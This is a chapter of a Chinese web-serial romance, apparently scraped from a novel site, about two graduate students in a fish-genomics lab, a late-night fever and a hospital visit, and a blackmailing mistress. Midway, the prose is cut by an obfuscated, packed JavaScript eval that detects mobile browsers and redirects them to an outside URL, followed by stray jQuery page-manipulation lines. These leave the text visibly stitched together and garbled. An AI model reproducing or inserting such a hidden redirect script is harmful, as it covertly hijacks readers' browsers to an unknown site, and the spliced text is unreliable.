“我也是。”胖同学着急得现在就转身去换衣间套实验服。
“我没带钥匙,陪他们。”戴窄边框蓝眼镜男孩有点羞涩。
“一个个滚回宿舍。”蒋商鉴压制没由来怒火,将人踹着赶回去。
“师兄,那小师妹是不是要出道了?可红了,她破圈住上热搜。”抖机灵男孩尖叫着连滚带爬跑上楼,抓过双肩包里的平板电脑点开微博。
蒋商鉴就在飘着小红字的热门词条里顺利看见熟悉的字眼。
倪旖恋情#
倪旖保送#
倪旖爸爸#
……
“你管人家,搞好自己就行。”蒋商鉴推搡着人离开。
“蒋商鉴,鱼解剖好了,咱弄试剂稀释肾脏组织RNA。”倪旖站门口听见他们打闹谈话,甜腻腻说话保持好形象。
蒋商鉴鸡皮疙瘩掉一地,在同学艳羡目光下转身先是将餐盒包装好,略微无所谓表情上楼去。
“那鱼得冷冻继续研究吗?”倪旖抬眸眼里似乎灌满荧光液体,单手撩起耳边散落的碎发放到耳后。
“你又上热搜。”蒋商鉴从兜里掏出干净手套佩戴好,侧身子去实验室冰箱弄一板试剂。
“那你觉得压力很大是嘛?”倪旖盈盈泪水蹿上,一难受就撇嘴,憋着想哭。
“嗯。”蒋商鉴不敢直视她目光,眼睛怼上显微镜调整位置。
倪旖沉默,泪眼婆娑站在一边,撕开试剂包装后弄开培养皿。
“不要哭。”蒋商鉴心脏窒息似的难受。
倪旖偷偷等,连撕开试剂塑料包装都停下来,感觉空气一瞬间窒息。
“我是那种人吗?”蒋商鉴捏着滴管吸附试剂放置玻璃培养皿里。
“我知道你不会,但我舍不得你压力很大。”倪旖靠在实验台边,轻微的咳嗽伴随着显微镜调试滚轮的声音,两者相互碰撞。
视线相对的时候,蒋商鉴从倪旖眼里看到了淡淡的落寞,或许是无意的,只不过他已没兴趣去分辨,他知道答案。
“蒋商鉴,你不要落下我,我一个人会害怕的。”倪旖无力哭诉,额靠他胳膊肘上偷偷蹭几下。
“别哭,泪水弄载玻片上污染试验材料,这一片不能用,都是实验经费,哎呦,好心疼。”蒋商鉴隔开点距离,看着培养皿上密密麻麻的细胞。
“你自己做实验,我走了。”倪旖说着就脱下手套,解开实验室白大褂,加快步速钻换衣间,睫毛湿漉漉的,一点一点落下。
倪旖换好衣裳也没回家,去其他楼栋,回他工位给他查相关资料。
蒋商鉴工位离玻璃窗近,她将自己裹在厚重午休被里,睁眼看着墙壁上运转的老式时钟。
他们明明靠得这么近,她明明听得清楚他的喘息呼吸声跟砰砰心跳声,可为什么,她却觉得距离越来越远。
她一步步靠近,他沉默着后退。
倪旖搅拌着麦片粥,呼啦呼啦银勺刮蹭着玻璃乐扣,粥里麦片早就变成碗底黏糊糊的烂泥,钟表滴答作响,然后传来十二点报时声。
“哟,还没走?”蒋商鉴扯着伞刚洗完澡回工位,穿件短袖火急火燎归位找资料,拉开倪旖旁边椅子就坐下来,顺手抽几张纸擦擦脸颊雨水。
“嗯。”倪旖顺手喂他一匙燕麦。
“需要帮助吗?”蒋商鉴又扯好几张她一次性洗脸巾擦擦脑袋上水珠,唇角是桀骜不驯的笑意,疲倦又松弛。
“亲亲我。”倪旖将茶杯得放在热金属板上加温。
空气中常年飘着炼乳的甜腻味,窗台和锈迹斑斑的暖气片上随处放着装速溶咖啡罐。
蒋商鉴摁着鼠标点开电脑,揉揉湿漉漉掉水滴的脑袋,敷衍着:“不仅有监控还有牛马呢,麦片给我两包,我又饿了。”
倪旖用勺子戳着碗底,玉米片随着动作枯萎塌陷,沉入混浊的牛奶,拎着水壶灌满蒋商鉴的茶叶保温杯,撕开几包水果酸奶冻干麦片给他冲泡宵夜。
“你还带了吃的吗?这麦片不够我吃饱的。”蒋商鉴侧眸子瞥一眼,翻找她零食背包袋里那堆高热量曲奇,随便扒拉出一包原味猪肉脯就吃。
蒋商鉴想着,科研懒人表现对文献工具比如Endnote、Zotero很熟悉,里面收藏了超过1000篇的文献,都是虚假努力。
“干嘛?”倪旖保护零食袋,还报复似的揉揉他湿漉漉的大脑壳。
蒋商鉴躲避着,盲打键盘找出必要文件仔细研读一番,嘴里还叼着片肉脯。
倪旖直接抢回来,将肉脯丢桌面,愤愤不满道:“不准吃我的。”
蒋商鉴直接卖惨,嘴里小声哼唧着黄河民谣:“小白菜呀,地里黄呀,三两岁呀,没了娘呀。亲娘呀,亲娘呀!”
倪旖泡好麦片放桌边上,皱皱眉将他肉脯丢回去,还故意说:“月亮姐姐放光辉,别人遛狗我遛龟。”
“给我削个苹果去。”蒋商鉴低头将猪肉脯叼嘴里咀嚼着。
“吃吃吃,就知道吃!”倪旖蹲在地板上从柜里找水果,翻了翻空空如也塑料袋,抬眸质问,“你给吃完了?”
“那香蕉,我记得还剩一根。”蒋商鉴继续敷衍。
倪旖没搭腔,抱着仅剩下的一根香蕉慢慢撕开,咬一小口坐会儿工位,点开邮件查看台词本,小声嘟囔着台词。
“唉,你给吃了?”蒋商鉴反手就给她香蕉躲过来,撕开前面一点点被咬过的牙齿印,张大嘴塞进去满足咀嚼。
倪旖裹了裹空调被咳嗽两声,
蒋商鉴抬手给她将午休被掖好。
“将收集到的RNA利用凝胶琼脂糖电泳检测完整性,使用NanoDrop检测RNA得浓度和纯度。”
“用TruSeqTM RNA sample preparation Kit文库制备试剂盒构建cDNA文库。随后,利用Illumina HiSeqTM2000测序仪对裂腹鱼肾脏组织样本进行转录组双端测序。”
蒋商鉴自顾自地嘟囔着。
“还语音输入呢?”倪旖嘲笑他。
“别说话,我真懒得敲字。”
倪旖也没胡闹,嫌有些热便溜达到个人挂钩衣架边,把刚才随意披在肩膀上蒋商鉴薄卫衣外套挂到衣架那个栏杆上。
因为姿势不到位倪旖莫名其妙整个人被吊起来,只能脚尖着地,偷偷摸摸拼命挣扎。
空旷房间里格外安静,突然一阵紊乱脚步声,还有轻松略带疲倦的聊天。
“你打算继续读博还是就业?”
“继续搞论文。”
“搞科研真的短命。”
“我希望我可以做一点东西出来,你连我是谁都不用care,你看到这个东西你觉得good,说真心话,这样我才会进步,我在行业才会如鱼得水。”
“唉,小师妹,你咋滴啦?”
“哈哈哈哈哈哈……”
倪旖被那些陌生男疯狂嘲笑,当然最后被同看热闹的蒋商鉴救下来。
倪旖一点都不服气,在师弟善意的嘲笑声中,金蝉脱壳成功,脸上糊满发丝,里面就剩件短袖。
“哎呦喂,别看啦。”倪旖捂脸钻会工位,死死裹着空调被。
“回去休息吧,有夜宵吗?我拿点零食给你带着吃。”蒋商鉴转身抱着好几包膨化食品给人递过去,算作封口费。
倪旖撇嘴难受着呢,零食都她的。
“那蒋师兄跟嫂子也早点休息,我们先回宿舍。”几个男生边吃边聊天。
“外面下雨,有伞吗?”
“有,我们先回宿舍。”
蒋商鉴将学生弄走带上门,再回头就见脸颊红扑扑的倪旖,溜达着过去,疑惑地询问:“你发烧了?”
倪旖扭扭捏捏不说话。
“傻子。”蒋商鉴无奈笑笑。
倪旖刚刚就想到那句话异议,一瞬间脸颊就红透,浑身热得冒汗。
蒋商鉴过几秒抬手摸摸她额,也没发烧,嘟囔着:“不烫啊。”
“蒋商鉴,手机来电。”倪旖本来还高兴,一转眼就瞥见他手机来电。
蒋商鉴一抬头直接摁灭。
没想到,又亮屏。
蒋商鉴只好握摁键,指腹摩挲着麦片杯纹:“怎么了?”
倪旖偷偷往边上挪,竖着耳朵听。
蒋商鉴抬手强行摁她脑袋隔开点距离。
“不给。”蒋商鉴摁着眉差点爆脏话,青筋直接爆出来。
“你别无理取闹,晚上不好订车,我还在工位呢,你又不是小孩,不会有人贩子拐卖你,我转点钱给你去酒店,得,先这样,明天我去接你……”
蒋商鉴烦躁抑郁揉揉脑壳,对方总算挂断电话,最怕突如其来的任务。
“喝口水压压怒火。”倪旖捧保温杯递他,眼神无辜,生怕被误伤。
“没事儿。”蒋商鉴确实一见那女的,夸张点,就提到这名字就难受。
“谁啊?”倪旖瞪大眼睛悄摸着吃瓜,还顺手撕开一包烧烤味薯片,咬着薯片咔嚓脆。
“我爸那边出轨的女人,有事没事就来骚扰我,找我要钱什么的。”蒋商鉴扶着额撑着胳膊眼里没了神采,一个头两个大,烦恼得不行。
“吃点吧。”倪旖将薯片包装给他递过去。
蒋商鉴直视着她,笑得苦涩,就像喝了口生抹茶。
倪旖躲避滚烫视线,抱着薯片嫌尴尬抓着一把就吃,嘴巴一圈全是碎屑。
“躲什么?”蒋商鉴抬手捏她脸颊不让动。
倪旖尬笑一两声,低头时不小心蹭他指腹,笑道:“……没。”
“倪旖。”蒋商鉴拇指腹摩挲她颊,眼神氤氲着水雾,唇微张慢慢凑近,情欲充盈眸色。
倪旖没躲,习惯轻轻吐下舌。
蒋商鉴偏头将人搂怀里,眼泪瞬间落在她脖颈处,倾颓、落寞、无力眨眼间确已泄露,酸涩一点一点困住心脏。
“啊!椅子夹着我手。”倪旖往后一缩使劲甩手,假装好痛可怜兮兮望着他,往下撇着嘴巴。
“闹腾呢,玩去。”蒋商鉴恢复正常,扭着椅子敲键盘排版论文。
倪旖便趴桌面抬眸略带笑意望他,她那聪慧的明眸里映照出暗夜里最后一抹斑斓的色彩,荡漾的水波中映照难以言喻的温柔。
“蒋商鉴,你可以走的,我不怪你。”倪旖攥着他短袖胳膊处线头玩,偏头一看,嘲笑,“你腋下管理得不错。”
蒋商鉴瞬间夹紧胳膊,用肘关节捣鼓她脑壳:“干嘛呢?”
倪旖摸摸额头,感觉状态不对劲,小声嘟囔着:“我好像发烧了,额头烫烫的。”
蒋商鉴单手给她手动测量体温,还真的突然滚烫起来,起身把电脑论文保存好关机后给妃子打电话。
“过来送我去趟医院,倪旖在我工位晕厥,搞快点啊。”
倪旖精神个还挺足,琢磨着带点好吃的零食去消磨时间。
蒋商鉴一着急,嫌她磨叽便俯身,一把将人抱怀里,往上颠几下,小跑出去。
倪旖在他怀里小小只,不停咳嗽。
“你在医院办会员了嘛,噗嗤——”蒋商鉴笑得颤抖不停。
倪旖撇嘴不说话,有点生气。
“你晚上吃了多少?”蒋商鉴继续逗着。
倪旖直接捂嘴警告。
蒋商鉴挣脱开,呸呸呸:“你手肯定挖过鼻孔,好臭。”
“哪有?”倪旖不知不觉说话就带着些撒娇意味,仔细嗅嗅手指缝,还真有点怪怪气味,“榴莲千层漏味道,或是碰你嘴巴,你有口臭!”
“哈——”蒋商鉴朝她猛地吐气。
倪旖闭眼睛还没着急关闭嗅觉,就闻到冻干水果酸奶麦片味道,直到颧骨被喷出的薯片碎给沾到。
“啊——”倪旖尖叫着。
合欢树深深遮蔽道路上空,阻挡着四散温柔的月光,笼罩着葬仪上黑纱一般的浓荫,被日光晒得发蔫的草木,经过一阵雷鸣骤雨后,于夜晚处挺了尖端。
“唉,商商,这儿,小富婆不还没死嘛?吓得我没穿衣裳就下楼。”妃子打着哈气猛拍喇叭引起注意力。
“妃子哥,晚上好。”倪旖乖乖打招呼。
妃子白眼,哈切连天:“这可不是晚上,凌晨一点多,得挂急症,她也没烧死,大惊小怪。”
蒋商鉴摁门把手将人塞后座,一推搡给留个位儿。
妃子样貌很厉害,看发型定实力,被研究生涯耽误头发疏密的典型代表。
倪旖一直觉得他像海绵宝宝里面的吃蟹黄堡的顾客鱼。
“开车,能得你。”蒋商鉴来两句。
“卸磨杀驴,米糠都没磨好,你就杀驴?得,你自己打车,我不送。”妃子将车停在一边,就等着。
“赶紧开,她晚一秒送医院就嗝屁。”蒋商鉴摸了下她脑壳,还真升温了。
“别夸张,我死啦,呜呜呜。”倪旖立马表演猝死,软软糯糯地歪倒。
“你看,死了。”蒋商鉴两手一摊。
“我真服你俩,加起来没三岁,就这玩心,成熟是一点没有。”妃子透过后视镜浅浅看一眼那俩人亲密又自然举动。
蒋商鉴察觉到什么,抬眸。
妃子透过后视镜和他对视,了然一笑。
蒋商鉴躲开那灼热刺破真相的视线。
“别弄巧成拙。”妃子说完这句话就没说半个字,眼神是支持和坚定。
“早就弄巧成拙了。”蒋商鉴单手撩起她耳边散落的碎发,小心翼翼梳理她额前发丝。
“他还有巧呢?”倪旖睁大眼睛。
“他蠢啊。”妃子直接讽刺,有贤惠姑娘不追,还造孽搞个阎婆惜回家闹腾,一地鸡毛。
“盲生你发现华点。”倪旖没听明白便附和着,也不能让场子冷掉。
蒋商鉴的爱此刻是饱满蒸腾的,表现为松弛懒散,但随时间流逝一点也不消散,徒劳僵持在极限拉扯中。
“他是能进博物馆的蠢货。”妃子幽幽地说着,将车载音乐调小声点,是beyond海阔天空,“你俩不相上下。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304318|165825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
倪旖被抱着放置在病椅上,发热门诊人挺多,排队好一会才被扎针,没坚持住就昏厥去:“我很困就睡觉啦。”
妃子重新看向倪旖,目光柔和得像看待叛逆期的女儿。
一分钟后,倪旖渴醒了。
倪旖烧得晕乎,雾蒙蒙的眸子含着水,还在迷糊中,就被妃子那张杵得极其近的大脸彻底吓醒,仿佛都能看见脸上螨虫。
“好可怕。”倪旖总算喘上气来。
妃子往后退退,从零食包里早就备好小孩喜欢的果倍爽饮料递给她:“商商被导师找去,让我陪你打完点滴。”
倪旖打完针就撺掇着妃子离开,自己顺着老巷子溜达,连脚步都轻盈,这些铺子之间,有几扇门是那么普通,总是被人忽视。
漆棕色门牌上掉两纯白色数字,在钉子上摇摇欲坠,倪旖推开门,信箱用灰色胶带贴着姓名,沾着灰,一抬眸就是段陡峭木头楼梯,径直通往顶楼。
喝喝茶,等着他的消息。
倪旖扶着老扶梯慢慢爬上去,隔老远就打招呼:“妈咪。”
“哟,看来宝宝最近挺忙?”许珊穿着服帖的蔷薇粉色旗袍,拎着天青色茶壶笑得婉约温柔,将天青色汝窑小盏递给她,琥珀色映出一点绿意。
倪旖将那杯盏里的琥珀色茶液闷下,脸颊是好看的红晕桃花色。
“听倪先生说,你很喜欢小蒋。”许珊脑子飞速转动,这时跟地道战似的。
“嗯。”
“你喜欢他什么?”
“他的脆弱。”
“跟你在一起后,你治愈了他,他不脆弱了,怎么办?”
“那是我的荣誉。”
“可你的喜欢好肤浅啊宝宝。”
“如果是劝我,那就不要聊了。”倪旖不舍地吻了吻妈妈光滑脸颊,告别后两手插兜准备溜达着回蒋商鉴学校,也不着急,被推销人员强制买了两包烤板栗,塞包里一边吃一边吐壳,隔几个垃圾桶就扔一次。
“嗡嗡——”
倪旖按下接通键,钻进早点铺点了两个麻球放在锡纸盘里。
从早点铺里走出来,春意如同海洋一般的绿色树冠起伏在道路四周,微微有些发烫,却称不上炎热。
有穿着格纹的男大学生在树下长椅上看书,背景板是白蓝色交加公交车铁制站牌,有穿背带短裤的小男孩顺人行道带足球朝操场跑去,一点一点往上升腾的热气氤氲着。
光线像是孩童橙色的画笔慢慢地消失颜色,一圈一圈地把这个世界缠绕成一个透明的茧,裹着热气渐渐散失。
早餐店没什么人,只老板娘忙碌着弄水煎灌汤包,滋滋冒油,倪旖压低声音:“你会陪我的,对吗?”
“再说。”蒋商鉴依法没能给倪旖准确答复,他还有一场大战需要斗争。
“再说啊?”倪旖满腔热血被一盆冷水给浇灭,落寞声音顺着手机传去。
“好点了嘛?”蒋商鉴正要问她发烧情况就发现被挂断电话。
蒋商鉴坐副驾驶,闭眼睛眯着打瞌睡来养精蓄锐,突然岔出座环桥,岸边绕个巨大弧线,湖面被长桥一分为二,湖水快淹到了桥面。
蒋商鉴随手拍给倪旖分享奇趣见闻。
小嗯:好蠢的设计师。
蒋商鉴闷闷一声笑,随后敲字。
蒋商鉴:我也觉得。
小嗯:跟你一样。
倪旖将剩着没吃的麻团打包,欢呼雀跃小跑着就往学校去,戴着帽子裹着口罩死死遮挡面部特征,跟打地战似的。
蒋商鉴瞥见这行字没回复,车窗外,草木葳蕤,一派清气。
蒋商鉴摁着车关锁键,拎着那牛皮纸文件包,神情落寞坐在临窗竹篾垫位置,四野里日色浮动。
蒋商鉴蓦然放下手中文件袋,将头转向木格窗外,目光追逐日色,眼睛里已有水雾,愁绪浸透到血液里,倪旖也许将成为命运未曾明说的注解。
倪旖真是个很盎然的女孩。
精神小妹嚼着口香糖挺着大肚子就慢悠悠坐下。
“十万现金,别来骚扰我了。”蒋商鉴不耐烦将那一包现金放下就准备走。
“我怀孕了。”那女的摸摸肚皮。
“又不是我的。”蒋商鉴皱眉,毫不犹豫呛回去,连多看一眼都不愿意。
“跟你也有亲缘关系。”那女的嘟囔,不嫌弃去够蒋商鉴那还没喝过的咖啡。
“别。”蒋商鉴嫌恶,加快步速钻车里去酒店歇一晚再开车回去。
本以为这次借钱能顶一段时间,没想到那女的把他忘在咖啡馆的水晶手链改装的挂坠带走了,他不得不去她家要回来。
刚打开门,倪旖就笑眼盈盈蹦到他怀里。
蒋商鉴吓一跳,还是瞬间反应才不至于被加速度撞倒在地板上,可还是不受控往后退两步缓冲重量。
“商商,出来玩,不喊我?”倪旖脸颊红红的,带着喘息声,一看就是小跑过来。
“哪有?处理事情呢。”蒋商鉴摸摸她温热腰肢,搂得更紧些。
“处理好了嘛?”倪旖从他怀里滑下来,又迫不及待搂着他腰,抬眸时笑盈盈。
“你送我的辟邪手链落下了,上次那打电话那女的昨天敲诈我一笔钱,很烦。”蒋商鉴这才想起来倪旖无缘无故跟过来一定是因为绑定银行卡给她看见动账消息,她有点担心。
“那够不够?”倪旖见他知道动账消息也不掩饰,单枪直入。
“你过来就问我需不需要钱嘛?”蒋商鉴将人手撇开,弓腰快速收拾好个人物品,等会儿还要去那女的家单元楼。
倪旖沉默,她怕回答戳中蒋商鉴伤心点,一路都没说话。
等上了出租车,蒋商鉴揉揉发痛的太阳穴,神情烦躁,但跟倪旖说话还是压制脾气,温柔吻了下她额头,轻声道:“车给海星开过来,我回去得坐高铁,你一起嘛?”
“嗯,那什么情况?”倪旖试探性询问。
空气一瞬间胶着。
倪旖缓解气氛,便撩下盒里镜用胳膊肘戳戳他。
蒋商鉴淡淡道:“偏振眼镜。”
“偏光镜有两种,一种是线偏光镜,一种是圆偏光镜,用通过手机LCD屏幕旋转的方式可以辨别线偏光,但是无法辨别圆偏光。”倪旖说话来逗他。
“嗯。”蒋商鉴听她说话认真。
倪旖便又叽里咕噜一大串解释。
刚解释完,司机大哥也凑趣地抽出一副眼镜,并颇为得意地让她看看“这个眼镜怎么样”。
倪旖接过眼镜,第一反应以为司机大哥买了副偏振光大墨镜,便掏出手机打开屏幕,将眼镜在屏幕前旋转一圈,发现屏幕亮度没任何变化,看来不是偏振光的。
倪旖狐疑:“这不就是普通的防护镜吗?”
谁知“普通”二字让司机很不爽,用很鄙视的语气说道:“这可是能扛600W激光的!”
倪旖错愕。
蒋商鉴憋笑。
倪旖被逗乐,打趣道:“这怕不是抵抗星球大战的激光武器。”